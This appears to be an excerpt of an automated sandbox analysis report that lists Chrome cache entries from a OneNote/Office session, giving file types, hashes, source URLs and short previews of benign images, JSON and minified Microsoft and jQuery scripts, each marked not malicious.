File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	7886
Entropy (8bit):	3.675002721266739
Encrypted:	false
SSDEEP:	96:HOmS/+CtmE8mmmmm08mmmmmtf8mmmmmO8mmmmm+8mmmmmo8mmmmmo8mmmmmSC3on:AGHFk
MD5:	7A7A4890CAAA77025E1B33A6D6E474EE
SHA1:	DC735B99D9EF0C76B4A7AEAE8BAA4CBD9551BA77
SHA-256:	9E1DA5BF715135491519A188CAD977DB6CBA414071E2407B69D63221379D8802
SHA-512:	291692981A555857F95A3378B511E27B60154B95EA0BA0452B3A5536D9A63A16B00518066E4F4B60E6A73CBD2A7C46B99A18102EA5970989B9736E57A6474D30
Malicious:	false
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................P...P...P...P...P...P...P...P...T...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................H...H...H...H...H...H...H...H...H...\...d...d...d...d...d...d...d....w...w...w...w...w...w...w...........

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 87 x 66, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlerHxl/k4E08up:6v/lhPC7Tp
MD5:	EE057FA41AD20EE84E9CE9E9DAB4505A
SHA1:	EAE59877E3A22BA924B208C5AFF07121745F0DD1
SHA-256:	87C9FAAB437174B05515485D7F6C12F14B0BD70EE360CD01C9E6D3F67549902C
SHA-512:	CFEA4CE0F1F831C5311FF0F6996C05A7FEA539C2507529D9018433A6B49606F46F3EB06BCE59B8C562A6F298288A64CB22E86480B6C2B5F18EB6C346F8A00B85
Malicious:	false
Preview:	.PNG........IHDR...W...B.............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (627)
Category:	downloaded
Size (bytes):	4036925
Entropy (8bit):	5.656272828875875
Encrypted:	false
SSDEEP:	49152:zkcGA7xmFJCnIVDk/YToZMGO2zwQBYyJchDazLuanmVh3lkuw3HyW27weqFhWfQJ:9X8EjAAQAA0
MD5:	1C61FE06C85D5FFC9CF7D5B86223536C
SHA1:	344E99D68E02BB0FA288771EC17854808296FB4F
SHA-256:	F2D4A670C00B7D9D0A78E95BF95FDA4F5C70B9972450E08A75E1BB021E580C91
SHA-512:	254A9DFA95B956EE14B79DD0ECD561EFC1A800C6E0070119C478A58870C9404893BE99C3F48780E5B06A1D0C0481315C100DE0C9B3557D15E206A1F7F6A05581
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hF2D4A670C00B7D9D_App_Scripts/OneNoteDS.js
Preview:	/. Microsoft Corporation. All rights reserved.. The buffer module from node.js, for the browser... @author Feross Aboukhadijeh <https://feross.org>. @license MIT. ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> Copyright (c) Microsoft Corporation and contributors. All rights reserved.. Licensed under the MIT License../.'use strict';(function(){function ya(C){var L=H[C];if(void 0!==L)return L.exports;L=H[C]={exports:{}};Sa[C].call(L.exports,L,L.exports,ya);return L.exports}var Sa={15057:function(C,L,d){function k(P,W){return P.toLowerCase().localeCompare(W.toLowerCase())}function h(P){if(!P)return[];let W="";try{w(P).forEach(ea=>{W+=String.fromCharCode(ea)})}catch(ea){W=l(P)}return W.split("\r\n").filter(ea=>ea)}function l(P){try{if(!/^[a-z0-9+/]+={0,2}$/i.test(P)\|\|0!==P.length%4)throw Error("Not base64 string");.let W,ea,da,ba,ua,la,ha,ia;const Y=[];for(let fa=0;fa<P.length;fa+=4)ba="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	downloaded
Size (bytes):	695
Entropy (8bit):	5.696679956038459
Encrypted:	false
SSDEEP:	12:HarRMs0pTestEsVEsl3Est3EshEsZ9NMzrI3TjEEofVcQ72TVkI3TjE:Har2nTeUEME23E+3EoEQ9NFj6kbjE
MD5:	648AD2F7EEA95A9B5491DCD2203B2F54
SHA1:	5FFA99938410AEBAB10B32308F242437B9432B53
SHA-256:	A3596C17DAD9A003D0BFBE0B7BA6765F51391B5C3943660316F01C8E77B323DB
SHA-512:	F7984FFEAEC122EFCBE36218979BB4C35E27007CC091BA5A8829BA5088999A3F9F7A7D5E11D90A05904D58644EC0B4E5EE1D57C68DD5270B7F456A762D8D699A
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/progress.gif
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,.................0.+......H.....V..!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,..............z...cr...!.......,.................dp.,.....H.....;..!.......,..........2......dp.,...QP.Td......F.[...v..?y...."......!.......,..........0......dp.,...QP.Td..........gO:.......Q..!.......,..........*......dp.,...QP.Td..........g.\|.}.)..!.......,..........&......dp.,...QP.Td............>..!.......,..........#......dp.,...QP.Td........L.6V..!.......,.................dp.,.....H.....;..;

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42915)
Category:	dropped
Size (bytes):	211427
Entropy (8bit):	5.527090650906731
Encrypted:	false
SSDEEP:	3072:dgxHuD2qP5K3klIEMSrFg4y6qhW7tvSZ0PGY0ttLo8HxZVv:WuDdY3kGBSJgy5pNWtLo8l
MD5:	47A7F90B61230BBB7FBEB2132A8BBD43
SHA1:	40D26F410F6B0A178BD61C06CD90D9EBE541BE0E
SHA-256:	0C23BA55CD8384A6B6EAE1B2BF20E993896AD34873DD5E7112644E86258D9898
SHA-512:	C965500741A12BF6C24BF93C76E8C1D3B0718068186F7C0E6FBF15D507AC734503C8F83108E9EA53A9C58D124EF5DDE548654F2F611265F2BFB807F193AC2A16
Malicious:	false
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_plus_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["plus"],{77514:function(e,t,n){(t=e.exports=n(70002)(!1)).push([e.id,'.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;border:1px solid hsla(0,0%,100%,0);box-shadow:0 1px 2px 0 rgba(0,0,0,.1);box-sizing:border-box;width:276px;padding-left:0;align-items:flex-start;margin:0 0 17px 16px}html[dir=rtl] .o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={margin-left:0;margin-right:16px}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=:hover{-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.1);box-shadow:0 8px 16px 0 rgba(0,0,0,.1)}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=>button{min-width:30px;width:30px;height:36px;paddi

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60197)
Category:	dropped
Size (bytes):	60238
Entropy (8bit):	5.399771208271399
Encrypted:	false
SSDEEP:	768:E25lwLErOuMYvMVjDK/AwJaAgwBY1mVBhYhLeaeWjopjCmW2TPkMeN40IbJrbrXH:E25TJPBh2engQeimaf63pBBZ9HHVG
MD5:	E01FFDF881BE6EE55465D981D9A932CF
SHA1:	D30134C757C94DB9D8F18EFEB14432DA60468D39
SHA-256:	563FBA440CB645E242FE821A24B50E6F5D26CA248765E29DAFC2EDCA7299410E
SHA-512:	6F8FEAB537CFFF463FE0017F1467CE8BABF8BEF374BC3D6EC32F1E1FCCA22116AC3B72A583F4A832490C3900849973CB279D784486002923D699873C98109590
Malicious:	false
Preview:	"use strict";function _define_property(e,t,i){return t in e?Object.defineProperty(e,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[t]=i,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(e){return Object.getOwnPropertyDescriptor(i,e).enumerable})))),n.forEach((function(t){_define_property(e,t,i[t])}))}return e}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[658],{81221:function(e,t){var i;Object.defineProperty(t,"__esModule",{value:!0}),(i=t._BondDataType\|\|(t._BondDataType={}))[i._BT_STOP=0]="_BT_STOP",i[i._BT_STOP_BASE=1]="_BT_STOP_BASE",i[i._BT_BOOL=2]="_BT_BOOL",i[i._BT_DOUBLE=8]="_BT_DOUBLE",i[i._BT_STRING=9]="_BT_STRING",i[i._BT_STRUCT=10]="_BT_STRUCT",i[i._BT_LIST=11]="_BT_LIST",i[i._BT_MAP=13]="_BT_MAP",i[i._BT_INT32=16]="_BT_INT32",i[i._BT_INT64=17]="_BT_INT64"},

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2374
Entropy (8bit):	5.160218881033882
Encrypted:	false
SSDEEP:	48:YovlQqvltMyHkYyqISOvgDdZytvfP6fREuv+REucEgukXX1I1SOJyHkYyqISOvgK:9SCIMPISOvgDHUa5Fk/+abMPISOvgDHm
MD5:	BC37636DB83AD0CF7D7FEF34D060EBDF
SHA1:	EF0020804B3A08871B8158130A9E74433C607EE2
SHA-256:	999A9E6CE76DE70BD8E46F052D3119F82EAE0CC4EA9AFAA8F790326DAC4C797F
SHA-512:	D0356F3431B77CEB761B353D4C77EB5324BFE6624E8C097AAA80AAC9763CB3A57737E4E76696678D10026A3FCCAC32B5BC5DA59DF346E97F48454897336790D3
Malicious:	false
URL:	https://admin.microsoft.com/admin/api/uxversion?bldVer=v1
Preview:	{"floodgate":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.1/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.10.17.1/floodgate.en.bundle.js"},"version":"2024.10.17.1"},"ariaLoggerId":"ea84b6a3285140258eaeb7caaab5884a-9d3ca75b-b3ee-42b8-a22c-ab0759ad4d38-7330","hostingAppUrls":"{\"M365AdminPortal\":\"https://admin.microsoft.com\",\"EXOAdminPortal\":\"https://admin.exchange.microsoft.com\",\"SPOAdminPortal\":\"https://admin.microsoft.com/sharepoint\",\"TeamsAdminPortal\":\"https://admin-int.teams.microsoft.net/\",\"MSGraphEndPoint\":\"https://graph.microsoft.com\",\"CDNContentURL\":\"https://res.cdn.office.net/admincenter/admin-content\",\"AriaLoggerGlobalCollectorEndpoint\":\"https://mobile.events.data.microsoft.com/Collector/3.0\",\"AriaLoggerEUCollectorEndpoint\":\"https://eu-mobile.events.data.microsoft.com/Collector/3.0\",\"AriaLoggerId\":\"ea84b6a3285140258eaeb7caaab5884a-9d3ca75b-b3ee-42b8-a22c-ab0759ad

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011), with CRLF line terminators
Category:	downloaded
Size (bytes):	53853
Entropy (8bit):	5.500009921962495
Encrypted:	false
SSDEEP:	768:WFBlHId5vh+HExEP0HLVwU+megaBJpLGgVI3g6BifcqJMBSWDv6:WpHId5W0HLEagVIw6QXb
MD5:	5A8ED3646A340A247CD48F5732BAEA69
SHA1:	8A961A2C1461EB5CD8A9009911970824602F8B79
SHA-256:	C459EC1608D98A847AB4C83723E1C4B2DC6E58A7006D5566C529A93113C2EE62
SHA-512:	5421BC6C0EA27EE75F7B5633AA5757C62EE16C84E94099D301EEA9944131F8A26CE941711ACE5EFB66AD62FBD16460B31403A2B016E8CF72D1F025868CA838D8
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/aria-web-telemetry-2.9.0.min.js
Preview:	var clienttelemetry_build;!function(e){e.version="2.9.0"}(clienttelemetry_build\|\|(clienttelemetry_build={}));var Microsoft;!function(e){var t;!function(e){var t;!function(e){e[e.BT_STOP=0]="BT_STOP",e[e.BT_STOP_BASE=1]="BT_STOP_BASE",e[e.BT_BOOL=2]="BT_BOOL",e[e.BT_UINT8=3]="BT_UINT8",e[e.BT_UINT16=4]="BT_UINT16",e[e.BT_UINT32=5]="BT_UINT32",e[e.BT_UINT64=6]="BT_UINT64",e[e.BT_FLOAT=7]="BT_FLOAT",e[e.BT_DOUBLE=8]="BT_DOUBLE",e[e.BT_STRING=9]="BT_STRING",e[e.BT_STRUCT=10]="BT_STRUCT",e[e.BT_LIST=11]="BT_LIST",e[e.BT_SET=12]="BT_SET",e[e.BT_MAP=13]="BT_MAP",e[e.BT_INT8=14]="BT_INT8",e[e.BT_INT16=15]="BT_INT16",e[e.BT_INT32=16]="BT_INT32",e[e.BT_INT64=17]="BT_INT64",e[e.BT_WSTRING=18]="BT_WSTRING",e[e.BT_UNAVAILABLE=127]="BT_UNAVAILABLE"}(t=e.BondDataType\|\|(e.BondDataType={}));var n;!function(e){e[e.MARSHALED_PROTOCOL=0]="MARSHALED_PROTOCOL",e[e.MAFIA_PROTOCOL=17997]="MAFIA_PROTOCOL",e[e.COMPACT_PROTOCOL=16963]="COMPACT_PROTOCOL",e[e.JSON_PROTOCOL=21322]="JSON_PROTOCOL",e[e.PRETTY_JSON_PR

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 222 x 204, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6336
Entropy (8bit):	7.887073484659419
Encrypted:	false
SSDEEP:	192:wx46x27I7L8lRcTx3HCHBDA3B6VHj6V+Jcj:Ktv8lROx34ZA3B6VH+kO
MD5:	5D71229F6CA9EBFF5F7972F01B547C7C
SHA1:	4D71B33506E6F0EBA1C783DE37E36480F2E392BE
SHA-256:	ABC0FA95B72F082CF4FBB18267CDBD282F2909B65B1B479D7F339DB41769946E
SHA-512:	31915EB859D432D714CAA2DFF74B7E760DFFE3A672CD872EB8CF07EDDC3B544578640C315CD47802B34F4BF06B31D290C9CBEAB228BC1FA64BDAF36DC523273A
Malicious:	false
Preview:	.PNG........IHDR..............y.'....IDATx^.....y.....)...5..MT....6./..f.m,@......W.A...o&..$.Q."7............ 0k.VdI..VL.`...w.k\|;...u....=.sf.~....s.9g/w..9.<.93..".H$]]..ttt......7g.ys.0}zg..3u....E.$C...G....\|'N...jk.f.....i..X0....X8....C....^;v..:..:.a.m....rz.x<..c..q..>..S...t.s....<...o..Cw.y......<x...*....6e........3.._..9H.f..}.._......m.F.#.Wd...(.J........\|yB....\|...+."O+.B.=..^.6-cK...\|./.t..m .f._...F.E.oum\..>.7l..l.<.f..[.H.mZFiC...-_..#....[.d..{........Z.~dd.......t.../`S.^.z...........-....Gm...n....m..2...#n!%..Ci.j..t....7..M...........8t.......^..h..d..]a.....K....L.....x6\|6xM.s.M.../.]...=..........<4..l.......e......>J1.....D.;w.\|..fY...x........m....W.+...9.Q>S.l..J.U.f0..._Z..Y....._s.O..!.2....u&..zo.z.-..>S..p....... .....x=u..2.M.jGb..G9.V.<;d."x@...@.......c.f.p......5....ZQ..8].<^.)c..f(.W....[...^.....gCW&.$i...I.&x.0.~8..!.x.t../>.c..:.(..cN..]XD..-...gk{.gCW9....<.'.l.... ..v.........<.....).

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
URL:	https://ecs.office.com/config/v1/CHILL/0.0.12?disableexperiments=true&disablerollouts=false&Agent=ChillWAC&Platform=Web&Host=OneDriveWOPI&Audience=Production&TenantId=9188040d-6c67-4c5b-b112-36a304b66dad&Application=OneNote&version=16.0.18214.41004&language=en-US
Preview:	{}

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	dropped
Size (bytes):	47672
Entropy (8bit):	5.4016434300784555
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUen+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3Uesnpj
MD5:	EC4B20037C896C5F60640105C6EA36B1
SHA1:	A9A74169679305B6EF1B76470F5CB746D9420213
SHA-256:	FBACCE424D00878284DB8C04089F007944324D9CD2432DB2472E4CF62A39DBBF
SHA-512:	1AD0209E6BEFE4444E62BFD01EA8FC5302674A047313908E963AFB787D83E572DB6AEF7EFEBB6D294A0310DECD51E54C17ACE28E7CDF651BB588AE4A17030102
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	144527
Entropy (8bit):	5.270658476600385
Encrypted:	false
SSDEEP:	3072:ThfpfLUCioBZUQi/jlUdIm1UQAYEipPAoi:ThfpfLUCiwOjlUdIm1UQAYEipPAoi
MD5:	9DECB0C734D0ECAD3E60A93F23DB8F39
SHA1:	96BC3698D305077A5A5CF09303BE1195FA65824C
SHA-256:	54C618DE71735F3693D0DF3ACD1A36DD17AFF1655D09A0F2A23A314F9BA92765
SHA-512:	F3457AD524DB82CCC8EBDA6A152AA5E9BBB4B79BC87C946EF20DDACE8346119B71513F965876F414106B252D346B20D9ECC0E9DCABE389FA2A34530AB48D1F75
Malicious:	false
Preview:	var onenoteSync;!function(){var t={107:function(t,n,e){t.exports=function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,arguments)};function n(t,n,e){if(e\|\|2===arguments.length)for(var r,i=0,s=n.length;i<s;i++)!r&&i in n\|\|(r\|\|(r=Array.prototype.slice.call(n,0,i)),r[i]=n[i]);return t.concat(r\|\|Array.prototype.slice.call(n))}var r="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:e.g,i=Object.keys,s=Array.isArray;function o(t,n){return"object"!=typeof n\|\|i(n).forEach((function(e){t[e]=n[e]})),t}"undefined"==typeof Promise\|\|r.Promise\|\|(r.Promise=Promise);var u=Object.getPrototypeOf,a={}.hasOwnProperty;function c(t,n){return a.call(t,n)}function h(t,n){"function"==typeof n&&(n=n(u(t))),("undefined"==typeof Reflect?i:Reflect.ownKeys)(n).forEach((function(e){l(t,e,n[e])}

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (351)
Category:	dropped
Size (bytes):	867
Entropy (8bit):	5.022371014336119
Encrypted:	false
SSDEEP:	12:+yrNYyZevXo5+fY50zRrmNJiN0vm5XqK64crwkQfFBTxKzLEkQfFMxvTdO+kQfVK:FBYKem+fY5IUJQX9c0hF4TdO2/sX
MD5:	508D5DDAE99658C5DADBDD91124580F2
SHA1:	757E67BBD709A1DC061F88105AB69A99012908AA
SHA-256:	56A5A66F6804BA58C32736A87B1DB8CE78B66A5C4F91F21E753B866CF7CE6BA6
SHA-512:	03AE7ADC4FC4B4BC62B01B2853D796650AB3993D4140252856BA4B52E0D52705A5FE5B9D4F970131B6FDCC47D4DFBDF5C93D6CC9648E3BB3142DE09B65C86B24
Malicious:	false
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["initial.resx"],{186:e=>{e.exports=JSON.parse('{"a":"My files"}')}.,180:e=>{e.exports=JSON.parse('{"m":"Open in Word","h":"Open in Project","b":"Open in Excel","g":"Open in PowerPoint","e":"Open in OneNote","k":"Open in Visio","i":"Open in Publisher","c":"Open in InfoPath","l":"Open in Word Online","f":"Open in PowerPoint Online","a":"Open in Excel Online","d":"Open in OneNote Online","j":"Open in Visio Online"}')}.,205:e=>{e.exports=JSON.parse('{"c":"Still here?","a":"For your security, Personal Vault will automatically lock in 1 minute.","b":"Keep unlocked","f":"Personal Vault didn\\u0027t lock","d":"There was a problem locking your Personal Vault. If this happens again, you can sign out of OneDrive to lock your Personal Vault","e":"Retry"}')}.}]),define("initial.resx",[],{});

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	89749
Entropy (8bit):	5.907896932868388
Encrypted:	false
SSDEEP:	1536:TF7qkDiiBSPqAYXUJqc9a/qc9aJyXUEUx:J7j7B4S6RaVC
MD5:	1BF11FC2DBDB5C48B7D60F5005583417
SHA1:	DF52B131F6B151E674204CBA77082EFAEFBC3F8C
SHA-256:	172E218E70CC419328B7AAB580615DA2A562E1508EAC9AC3014C52C51F2F50EC
SHA-512:	A40545B0B88AAF5EC4D28015B72451CE6F19073FC7E1CF6A8B08EEAB6D173CCE9E62553CACFDA7FE0FB4DDECB2E09E8B966C6466AE50AC31193481D82898ECB6
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/Meetings_manifest.xml
Preview:	.<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">...<Id>90da59be-5361-4260-9218-2262af1dc334</Id>...<Version>1.0.0.0</Version>...<ProviderName>Microsoft Corporation</ProviderName>...<DefaultLocale>en-US</DefaultLocale>...<DisplayName DefaultValue="Add Meeting Details">.... START STRING LOCALIZATION REPLACEMENT (StringID: OfficeAddIns.Meetings.ManifestDisplayName -->......<Override Locale="af-ZA" Value="Voeg vergaderingbesonderhede by" />....<Override Locale="en-US" Value="Add Meeting Details" />....<Override Locale="am-ET" Value="..... ...... ...." />....<Override Locale="ar-SA" Value="..... ...... ........" />....<Override Locale="as-IN" Value="..

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 102, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1922
Entropy (8bit):	7.799930090275787
Encrypted:	false
SSDEEP:	48:cENciM7PxxsRcCzKzVT0waLFE8ASYXamdHN:cENIgiCSVT0EJSYXamdt
MD5:	D212459353E8FD1D2514C77703D44F1F
SHA1:	A0CABB548A218E87FBCB4D4ADDEA47068A4288D3
SHA-256:	7AD89A907BFE47019D905B92D0C203082AA75852D39B480E6FBE1718A8EA3647
SHA-512:	8AA0C6904EFE31A38B2A52F05F79153D933BC48C028D18C110F59089D0EB7EAF2D97E84A42F81BAA8906AFD2BBD8C895FE53D8E998A4417422B97497556E1B7D
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/m2/box43.png
Preview:	.PNG........IHDR...f...f.....9..b...IIDATx^.ml.E..o.E..........B....'_$..&.&.....h....A..4......[..........]iC..h1.HjE.......K&......>....<3;{._......X$..T\\(.o..#..2K....g.....Oe...C..`..p..ee%...g`.e.8....b.k.c.P.:B.tv^W..2RW.,.g.j.........y..i....2.P.....T.G...Z..5.......5H..?.H...P...9..(.h.....p}..9.tS0.......q}..`pWFK..9..(....8.......L..]O..z<.%.".4..Lj:F....4.............@..s$../bux.N.%.`..$IN...%'{#.....<..]\|....0..AYt..CDI..$...=....H)..W>.>.+G>....1b........(..1?R.A...Q...C`...X...C..q]..&.........."~.o~0.P....~(\|`..^Ph......"....P.]._U0.....k.t....e.%.y3......C`.{...._$..'....k.5..J.`R........'.A....0..P(4......g...m...Z.d.I...Q.QbA..f._.nm...".....K...Cw4...k..F.e..=~..d....\|s.....`.V...`....j..ww....-..V....f.......C...6v...p.9Y..h..Wj]..._`......Z..G.m.?....w)...~...(.....=a=.]a.+R...5.`.H$..D..ehW...@..2..#..j..T.w...c..T.w...#~....e........e.k.....C.c..e.F.2.`..j..1._:....o_,.j:.!0...%....9..c.......OY0.;....0\|.U>.@`...

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32038)
Category:	dropped
Size (bytes):	95992
Entropy (8bit):	5.391333957965341
Encrypted:	false
SSDEEP:	1536:OP10iSi65U/dXXeyhzeBuG+HYE0WEeLDFoNqLTW8+S5VRZIVI6xSb8xh2ZbQnRmm:R+41ZqLTW8xRrqSb8qGH77da98Hr3
MD5:	F03E5A3BF534F4A738BC350631FD05BD
SHA1:	37B1DB88B57438F1072A8EBC7559C909C9D3A682
SHA-256:	AEC3D419D50F05781A96F223E18289AEB52598B5DB39BE82A7B71DC67D6A7947
SHA-512:	8EEEAEFB86CF5F9D09426814F7B60E1805E644CAC3F5AB382C4D393DD0B7AB272C1909A31A57E6D38D5ACF207555F097A64A6DD62F60A97093E97BB184126D2A
Malicious:	false
Preview:	/! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.3",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56385)
Category:	downloaded
Size (bytes):	203723
Entropy (8bit):	5.091010803843199
Encrypted:	false
SSDEEP:	6144:o5I0JbkzWHXzZNoK5fMO6kvBoKrpQmK4Zbwmk29X9vvNCYzRtN:ik2oK5fMO6kvBoKrpQmK4Zbwmk29X9vN
MD5:	BC553108CB200A9A9036DD8FC379767F
SHA1:	F5C8EA36367061664B738BC1C46C8192E3C8B97A
SHA-256:	A8A93A5AD7BFEBE0381A319F2681457CB386F9B645C594FB443640677F5857B5
SHA-512:	7FDF388E327C20B2227C63B7F73A0D09A956B5A94895E730AFC7139EE8CDFD165DF13C300B6C2FE76C439420A022446E55DC459C41349E1EBBCFDA7023D99422
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hA8A93A5AD7BFEBE0_App_Scripts/1033/common-intl.min.js
